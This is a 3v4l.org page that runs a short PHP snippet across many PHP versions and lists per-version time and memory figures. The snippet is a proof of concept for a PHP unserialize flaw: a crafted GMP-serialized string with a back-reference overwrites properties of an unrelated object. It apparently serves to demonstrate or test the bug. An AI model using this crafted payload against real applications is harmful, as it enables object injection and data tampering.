3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $test; function __wakeup() { $this->test = 1; } } $obj = new stdClass;// $obj handle = 1 $obj->var1 = 1; $obj->var2 = 2; $inner = 's:4:"1337";a:3:{s:4:"var1";s:6:"change";s:4:"var2";s:4:"this";i:0;O:3:"obj":1:{s:4:"test";R:2;}}'; $exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}'; $x = unserialize($exploit);// $x handle = 2 var_dump($obj);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00417.00
8.3.50.0080.01322.89
8.3.40.0150.00018.91
8.3.30.0110.00718.66
8.3.20.0080.00022.10
8.3.10.0000.00820.45
8.3.00.0040.00419.79
8.2.180.0140.00718.29
8.2.170.0070.01022.96
8.2.160.0100.01020.60
8.2.150.0070.00024.18
8.2.140.0040.00424.66
8.2.130.0050.00226.16
8.2.120.0000.00821.25
8.2.110.0060.00321.02
8.2.100.0040.00817.84
8.2.90.0000.00817.75
8.2.80.0040.00418.91
8.2.70.0060.00317.75
8.2.60.0000.00818.05
8.2.50.0090.00018.07
8.2.40.0040.00418.41
8.2.30.0030.00618.20
8.2.20.0040.00418.25
8.2.10.0000.00818.27
8.2.00.0050.00217.90
8.1.280.0090.00625.92
8.1.270.0040.00422.11
8.1.260.0040.00426.35
8.1.250.0070.00028.09
8.1.240.0060.00322.26
8.1.230.0090.00317.95
8.1.220.0030.00617.89
8.1.210.0040.00418.77
8.1.200.0000.00817.50
8.1.190.0090.00017.35
8.1.180.0050.00318.10
8.1.170.0080.00018.77
8.1.160.0000.00719.06
8.1.150.0030.00520.30
8.1.140.0030.00519.66
8.1.130.0000.00717.63
8.1.120.0000.00717.58
8.1.110.0000.00817.60
8.1.100.0030.00517.62
8.1.90.0000.00717.61
8.1.80.0030.00717.59
8.1.70.0000.00717.59
8.1.60.0070.00317.71
8.1.50.0040.00417.55
8.1.40.0030.00617.65
8.1.30.0000.00817.81
8.1.20.0040.00417.85
8.1.10.0000.00717.66
8.1.00.0040.00417.78
8.0.300.0040.00418.77
8.0.290.0040.00416.88
8.0.280.0070.00018.52
8.0.270.0070.00017.47
8.0.260.0000.00617.05
8.0.250.0030.00317.05
8.0.240.0030.00617.14
8.0.230.0000.00717.19
8.0.220.0070.00017.01
8.0.210.0000.00717.07
8.0.200.0040.00417.05
8.0.190.0040.00417.03
8.0.180.0030.00517.07
8.0.170.0040.00417.16
8.0.160.0000.00717.15
8.0.150.0060.00316.91
8.0.140.0070.00017.04
8.0.130.0000.00613.32
8.0.120.0030.00517.08
8.0.110.0030.00416.96
8.0.100.0000.00717.09
8.0.90.0030.00517.00
8.0.80.0030.01217.07
8.0.70.0050.00317.11
8.0.60.0040.00417.04
8.0.50.0030.00517.05
8.0.30.0100.00617.32
8.0.20.0120.01117.40
8.0.10.0040.00417.12
8.0.00.0110.00716.93
7.4.330.0020.00215.55
7.4.320.0060.00016.51
7.4.300.0000.00616.72
7.4.290.0050.00316.68
7.4.280.0040.00416.73
7.4.270.0070.00016.75
7.4.260.0030.00316.66
7.4.250.0070.00016.54
7.4.240.0000.00716.77
7.4.230.0070.00016.76
7.4.220.0110.00616.61
7.4.210.0080.00916.70
7.4.200.0000.00716.76
7.4.160.0060.01016.66
7.4.150.0140.01117.40
7.4.140.0090.00917.86
7.4.130.0120.00516.61
7.4.120.0120.00816.64
7.4.110.0090.00916.48
7.4.100.0110.01016.61
7.4.90.0060.01116.59
7.4.80.0060.01619.39
7.4.70.0120.00416.79
7.4.60.0100.00716.70
7.4.50.0030.01316.68
7.4.40.0120.00616.72
7.4.30.0130.00616.71
7.4.00.0060.01115.33
7.3.330.0000.00513.46
7.3.320.0000.00513.44
7.3.310.0000.00816.38
7.3.300.0000.00916.43
7.3.290.0040.01016.41
7.3.280.0100.00616.50
7.3.270.0110.00717.40
7.3.260.0130.00816.63
7.3.250.0090.01016.60
7.3.240.0130.00816.58
7.3.230.0080.00816.67
7.3.210.0060.01016.57
7.3.200.0080.00816.52
7.3.190.0080.00816.54
7.3.180.0100.00716.46
7.3.170.0070.01016.73
7.3.160.0140.00316.67
7.3.120.0040.01415.19
7.3.110.0070.01015.08
7.3.100.0070.01115.21
7.3.90.0100.00715.16
7.3.80.0090.00915.11
7.3.70.0000.01515.04
7.3.60.0060.00614.96
7.3.50.0070.00714.96
7.3.40.0090.00615.00
7.3.30.0060.00914.76
7.3.20.0000.01316.92
7.3.10.0110.00316.89
7.3.00.0000.01416.83
7.2.330.0090.00916.88
7.2.320.0190.00316.71
7.2.310.0130.00316.80
7.2.300.0090.00916.79
7.2.290.0090.00916.57
7.2.250.0070.01015.41
7.2.240.0070.01415.18
7.2.230.0120.00815.38
7.2.220.0060.00815.09
7.2.210.0120.00315.13
7.2.200.0000.01515.13
7.2.190.0040.01415.23
7.2.180.0060.01015.16
7.2.170.0000.01215.06
7.2.60.0090.00317.21
7.1.330.0040.01116.03
7.1.320.0100.00315.83
7.1.310.0060.01015.87
7.1.300.0060.00916.04
7.1.290.0100.00615.80
7.1.280.0090.00015.93
7.1.270.0040.00715.71
7.1.260.0050.00816.11
7.1.200.0470.00315.82
7.1.100.2960.01016.55
7.1.90.2950.01016.03
7.1.80.1890.01016.21
7.1.70.1080.00816.45
7.1.60.0820.01025.29
7.1.50.1150.01625.07
7.1.40.0860.01224.56
7.1.30.1170.00924.63
7.1.20.0970.00924.77
7.1.10.0980.01215.60
7.1.00.0740.00515.77
7.0.240.2880.01316.07
7.0.230.2940.01315.83
7.0.220.3030.00716.21
7.0.210.1730.01015.24
7.0.200.0890.00516.03
7.0.190.1080.01015.98
7.0.180.1070.00915.69
7.0.170.0780.01115.64
7.0.160.0720.01015.62
7.0.150.0850.00515.51
7.0.140.0730.00715.74
7.0.130.0730.00615.91
7.0.120.0780.01215.81
7.0.110.0880.00715.61
7.0.100.0470.00915.54
7.0.90.0850.01015.76
7.0.80.0790.00615.78
7.0.70.0840.00815.61
7.0.60.0500.00815.27
7.0.50.0540.00615.57
7.0.40.0680.00714.99
7.0.30.0670.01014.97
7.0.20.0540.00214.93
7.0.10.0580.00614.82
7.0.00.0500.00515.06
5.6.300.0120.04720.93
5.6.290.0110.04820.99
5.6.280.0070.07221.05
5.6.270.0150.05720.98
5.6.260.0100.05821.04
5.6.250.0070.05521.07
5.6.240.0170.05221.09
5.6.230.0100.05321.00
5.6.220.0100.07121.05
5.6.210.0100.07421.05
5.6.200.0130.05821.09
5.6.190.0060.05821.03
5.6.180.0100.05221.05
5.6.170.0090.05321.00
5.6.160.0080.06021.08
5.6.150.0100.06221.00
5.6.140.0110.06720.85
5.6.130.0080.05320.87
5.6.120.0080.05820.89
5.6.110.0100.06420.99
5.6.100.0100.05421.01
5.6.90.0090.06320.94
5.6.80.0130.05320.29
5.6.70.0050.04920.30
5.6.60.0150.05220.51
5.6.50.0080.04920.52
5.6.40.0090.04920.34
5.6.30.0130.06020.40
5.6.20.0030.05920.36
5.6.10.0070.05120.24
5.6.00.0120.04820.36
5.5.380.0050.05317.60
5.5.370.0080.05617.54
5.5.360.0040.07717.47
5.5.350.0130.07217.51
5.5.340.0100.05518.11
5.5.330.0080.05318.05
5.5.320.0130.05518.03
5.5.310.0070.05617.72
5.5.300.0100.04917.97
5.5.290.0080.06618.14
5.5.280.0110.04918.03
5.5.270.0080.05818.01
5.5.260.0090.05317.92
5.5.250.0070.06917.70
5.5.240.0080.06217.47
5.5.230.0050.05117.39
5.5.220.0120.05217.48
5.5.210.0150.04617.22
5.5.200.0070.05617.27
5.5.190.0050.04917.29
5.5.180.0070.07017.40
5.5.160.0100.04717.26
5.5.150.0130.04717.37
5.5.140.0060.05617.37
5.5.130.0070.05617.25
5.5.120.0080.04717.38
5.5.110.0050.05517.33
5.5.100.0080.05617.18
5.5.90.0020.05917.34
5.5.80.0030.04817.19
5.5.70.0100.06017.34
5.5.60.0030.04817.18
5.5.50.0100.04817.14
5.5.40.0080.04517.29
5.5.30.0070.04417.28
5.5.20.0140.04717.34
5.5.10.0070.05417.06
5.5.00.0080.05017.29
5.4.450.0190.04419.36
5.4.440.0030.05919.24
5.4.430.0050.05619.41
5.4.420.0080.06319.27
5.4.410.0130.05319.23
5.4.400.0110.04218.94
5.4.390.0120.04719.00
5.4.380.0070.04919.04
5.4.370.0120.05219.06
5.4.360.0030.08018.99
5.4.350.0080.05219.04
5.4.340.0130.04419.09
5.4.320.0070.06718.93
5.4.310.0150.05919.00
5.4.300.0130.05119.05
5.4.290.0080.04518.89
5.4.280.0150.05019.13
5.4.270.0060.04719.06
5.4.260.0130.05919.09
5.4.250.0110.04519.03
5.4.240.0110.05918.90
5.4.230.0120.07019.01
5.4.220.0100.05119.00
5.4.210.0080.04819.05
5.4.200.0090.05118.98
5.4.190.0100.04919.02
5.4.180.0080.05519.04
5.4.170.0120.05319.10
5.4.160.0110.04719.11
5.4.150.0060.05119.06
5.4.140.0160.05316.73
5.4.130.0110.03916.64
5.4.120.0080.04016.60
5.4.110.0070.04216.46
5.4.100.0070.05316.68
5.4.90.0080.05216.59
5.4.80.0080.06716.57
5.4.70.0100.05116.61
5.4.60.0100.05016.67
5.4.50.0020.07316.42
5.4.40.0050.05516.70
5.4.30.0120.04616.61
5.4.20.0060.04816.58
5.4.10.0060.05816.52
5.4.00.0080.04815.94
5.3.290.0020.05215.00
5.3.280.0120.04614.95
5.3.270.0090.06515.00
5.3.260.0080.05015.02
5.3.250.0120.04414.98
5.3.240.0100.05714.93
5.3.230.0030.06014.95
5.3.220.0050.06614.91
5.3.210.0070.04514.94
5.3.200.0080.06415.00
5.3.190.0080.06414.91
5.3.180.0090.06014.91
5.3.170.0130.05014.91
5.3.160.0050.05614.99
5.3.150.0110.05014.99
5.3.140.0120.04414.99
5.3.130.0080.06214.97
5.3.120.0060.07214.97
5.3.110.0110.05214.94
5.3.100.0070.05714.61
5.3.90.0090.04914.57
5.3.80.0030.04614.71
5.3.70.0050.05214.66
5.3.60.0080.04714.59
5.3.50.0090.04614.64
5.3.40.0110.04314.48
5.3.30.0100.04514.55
5.3.20.0100.03914.55
5.3.10.0030.05314.42
5.3.00.0060.05314.33
5.2.170.0030.04513.13
5.2.160.0100.03713.16
5.2.150.0050.03713.29
5.2.140.0080.04113.16
5.2.130.0050.04513.27
5.2.120.0100.03713.18
5.2.110.0160.03313.21
5.2.100.0100.04113.27
5.2.90.0040.04313.26
5.2.80.0030.03913.11
5.2.70.0020.03913.26
5.2.60.0100.03913.24
5.2.50.0080.03813.18
5.2.40.0060.03513.16
5.2.30.0100.03713.08
5.2.20.0050.03313.16
5.2.10.0070.03113.14
5.2.00.0070.03713.02
5.1.60.0040.03512.71
5.1.50.0080.03612.57
5.1.40.0020.03312.63
5.1.30.0050.03312.88
5.1.20.0050.03912.74
5.1.10.0080.02812.63
5.1.00.0030.03412.74
5.0.50.0080.02111.97
5.0.40.0040.02411.92
5.0.30.0030.05211.77
5.0.20.0110.02511.76
5.0.10.0090.02111.80
5.0.00.0030.03811.74
4.4.90.0030.02510.58
4.4.80.0040.02710.60
4.4.70.0000.02210.63
4.4.60.0010.02010.64
4.4.50.0050.01710.64
4.4.40.0050.03610.68
4.4.30.0060.01810.68
4.4.20.0070.02210.69
4.4.10.0020.02110.69
4.4.00.0020.03110.69
4.3.110.0030.02410.69
4.3.100.0020.01910.69
4.3.90.0010.02010.69
4.3.80.0030.02710.69
4.3.70.0030.02010.69
4.3.60.0050.01910.69
4.3.50.0030.02010.69
4.3.40.0050.03510.69
4.3.30.0020.02310.69
4.3.20.0040.02010.69
4.3.10.0050.01510.69
4.3.00.0020.02310.69

preferences:
29.06 ms | 401 KiB | 5 Q